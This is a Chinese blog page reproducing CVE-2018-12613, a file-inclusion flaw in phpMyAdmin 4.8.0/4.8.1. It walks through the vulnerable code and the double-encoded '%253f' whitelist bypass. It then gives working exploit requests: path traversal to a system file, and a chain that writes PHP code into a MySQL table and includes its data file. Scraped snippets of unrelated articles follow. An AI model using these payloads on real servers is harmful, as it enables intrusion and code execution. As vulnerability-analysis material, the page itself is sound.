index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
By:Mirror王宇阳
漏洞原理
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
影响:phpMyAdmin-4.8.0/4.8.1
漏洞环境
phpStudy2016 下载
phpMyAdmin-4.8.1 下载
漏洞成因
漏洞索引:
文件路径:.\phpMyAdmin\index.php
位置锁定:line 55~63
源码分析:
// 如果有一个有效的目标,加载这个脚本
if (! empty($_REQUEST['target'])
//是否存在target参数
&& is_string($_REQUEST['target'])
//target是否为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])
//限制要求target以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)
//限制target不能出现在$target_blacklist中
/*
$target_blacklist = array(
'import.php' , 'export.php'
)
// target != 'import.php' != 'export.php'
*/
&& Core::checkPageValidity($_REQUEST['target'])
// Core类的checkPageValidity()方法
) {
include $_REQUEST['target'];
exit;
}
第61行include $_REQUEST['target'] 暴露了存在LFI的可能。
需要的是绕过限制:
target参数不可以以index开头,不出现在target_blacklist中(!= import.php != export.php)
调用Core类[libraries\classes\Core.php]的checkPageValidity()自定义函数且结果为真
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
// 白名单
//$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容(上图)
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
//$page没有定义或$page不为字符串时 返回false
return false;
}
if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值
//$page存在$whitelist中的value返回true
return true;
}
$_page = mb_substr( //mb_substr():返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//返回从开始到问号之间的字符串
);
if (in_array($_page, $whitelist)) {
//$_page存在$whitelist中的value返回true
return true;
}
$_page = urldecode($page);//urldecode():解码已编码的URL
//经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
$_page = mb_substr(//返回从开始到问号之间的字符串
$_page,
0,
mb_strpos($_page . '?', '?')
//mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
465~473代码的目的:二次URL解码
这里考虑到了URL二次编码和参数存在的情况!
例如传入:?target=db_datadict.php%253f
服务器在接收到URL请求连接后就会自动对URL进行一次解码为:?target=db_datadict.php%3f在遇到$_page = urldecode($page);二次解码后为:?target=db_datadict.php?这样就符合白名单的要求“ ?符号前的文件名在白名单序列中”
利用二次编码“%253f”可以绕过checkPageValidity()的检查!
由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码:?target=db_datadict.php%3f由此就造成了文件包含漏洞
漏洞复现
任意文件包含:
?target=db_sql.php%253f/../../../../../../windows/wininit.ini
任意代码执行:
查询数据库路径:
show global variables like "%datadir%";
向数据库写入代码:
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
包含该数据库文件:
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...
18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553) 一.漏洞描述 该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当 ...
记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...
php本地及远程文件包含漏洞
在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen onallow_url_include on 但是开启这两个功能之后伴随的是url漏 ...
php远程文件包含截断问题
今天在学习一书是,提到一个php远程文件包含漏洞 可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令 服务器中有漏洞的页面代码为: #test.php#error ...
PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
PHP文件包含漏洞剖析
一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...
随机推荐
创建 Pool &; VIP - 每天5分钟玩转 OpenStack(122)
上节完成了 LBaaS 配置,今天我们开始实现如下 LBaaS 环境. 环境描述如下: 1. 创建一个 Pool “web servers”. 2. 两个 pool member “WEB1” 和 “ ...
Tomcat7配置数据源
http://www.cnblogs.com/ITtangtang/archive/2012/05/21/2511749.html
C++ Primer : : 第十四章 : 重载运算符与类型转换之类型转换运算符和重载匹配
类型转换运算符 class SmallInt { public: SmallInt(int i = 0) : val(i) { if (i < 0 || i > 255) throw st ...
centos6关闭ipv6
Install packages for CentOS 6.0 Minimal cat <>/etc/modprobe.d/disable_ipv6.conf ali ...
Android开发全套视频教程在线观看网盘下载
千锋金牌讲师老罗老师简介: 国内第一批Android教学讲师,10多年软件开发经验,6年多教学经验,曾担任广东电信北京分公司移动事业部项目经理,主持过微软中国平台考试系统.山西省旅游局智能化平台等大型 ...
seo初学
对前端而言,做网站采用扁平式结构:控制网页链接数量,不能太少,当然也不能太多:其次采用扁平的目录层次,不能超过3次:三:导航优化,最好是文字,如果是图片的话,alt和title必须添加. 面包屑导航: ...
B. Friends and Presents(Codeforces Round #275(div2)
B. Friends and Presents time limit per test 1 second memory limit per test 256 megabytes input stand ...
python学习第32天
# 使用模块操作进程# multiprocessing 一个多元化的进程模块# multiple 多元化 processing 进程 # 涵盖了和进程相关的几乎所有的内容# Process类 帮助你启 ...
C# 并发编程 &#183; 经典实例
http://www.cnblogs.com/savorboard/p/csharp-concurrency-cookbook.html 异步基础 任务暂停,休眠 异步方式暂停或者休眠任务,可以使用 ...
Java中同步的几种实现方式
1.使用synchronized关键字修饰类或者代码块: 2.使用Volatile关键字修饰变量: 3.在类中加入重入锁. 代码示例: 非同步状态下: public static void main( ...
index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现相关推荐
- test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- phpmyadmin4.8.1远程文件包含漏洞
phpmyadmin index.php中 (1)是一个非空字符串: (2)不能以 index 开头: (3)不能在黑名单数组 $target_blacklist 中: (4)要满足 checkPag ...
- index.php.bak 颓废_18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...
- php文件包含漏洞解决方法,DzzOffice 1.2.2 /index.php 本地文件包含漏洞
Index.php $dzz = C::app(); $mod = getgpc('mod'); $mod = !empty($mod) ? $mod : ''; $op = !empty($_GET ...
- 暑期练习web25:web code(i春秋)index.php文件包含、base64图片加密
这次有意思,上来就是个萌妹子 但我们不能光看妹子,学习更重要!查看一波源码,很长一段,前面提示了是base64(html中图片可以用base64表示,那么用base64表示的文本就是破损图片) 但是我 ...
- 复现计算机论文模型,COLING 2018 最佳论文解读:序列标注经典模型复现
原标题:COLING 2018 最佳论文解读:序列标注经典模型复现 在碎片化阅读充斥眼球的时代,越来越少的人会去关注每篇论文背后的探索和思考. 在这个栏目里,你会快速 get 每篇精选论文的亮点和痛点 ...
- 给大家分享一下2018最新的Java黑马视频教程,包含十次方和乐优商城项目
大家分享一下2018最新的Java黑马视频教程,2018年10月份的项目,包含十次方和乐优商城项目 链接:https://pan.baidu.com/s/1y7cFy67iPbyxOEzzvYSbhw ...
- d58站群inc.php,D58站群2018年版本SEO特殊字符静态文件生成根目录源码分享
网上有很多的站群软件都是2017年2016年的老版本,这些软件很多都被百度技术识别,基本没有什么用了,这款D58站群2018年版本到目前来说,还是有效果的. 先说下D58站群包含的文件有哪些: mb. ...
- Goby 漏洞更新 | 瑞友天翼应用虚拟化系统 index.php 文件远程代码执行漏洞
漏洞名称: 瑞友天翼应用虚拟化系统 index.php 文件远程代码执行漏洞 English Name:Ruiyou Tianyi Application Virtualization System ...
最新文章
- 通过AI翻译大脑信息
- Unreachable code
- c与python的区别-C++/C/JAVA/Python之间的区别?
- Friendly Group Gym - 102769F 2020(并查集)ccpc秦皇岛分站赛
- ABP入门系列(1)——通过模板创建MAP版本项目
- navigator 携带参数_福州振动时效参数视频,振动时效设备用途
- 史上最全数据库中间件详解
- RS错误RSV-VAL-0032之项目未在布局中引用的3种解决办法
- openresty 搭建
- python threading编程中的LOCK和RLOCK(可重入锁)
- 【线性代数】20 基变换,基变换公式,坐标变换公式
- 安科瑞ACY100油烟浓度在线监控仪在浙江省某市餐饮油烟监测治理项目中的应用
- 乾颐堂现任明教教主(2014年课程)TCPIP协议详解卷一 第三节课笔记
- 安装算量软件使用_鹏业安装算量软件常用按钮汇总(三)
- java feature envy_《重构-改善既有代码的设计 第3章代码的坏味道》学习笔记
- matlab中时域逐步积分方法,newmark积分法
- 几个可以整蛊你朋友的 Python 程序
- linux filp open,Linux Kernel 'do_filp_open()'本地拒绝服务漏洞
- 社会学百科——英国DK出版社
- director(director)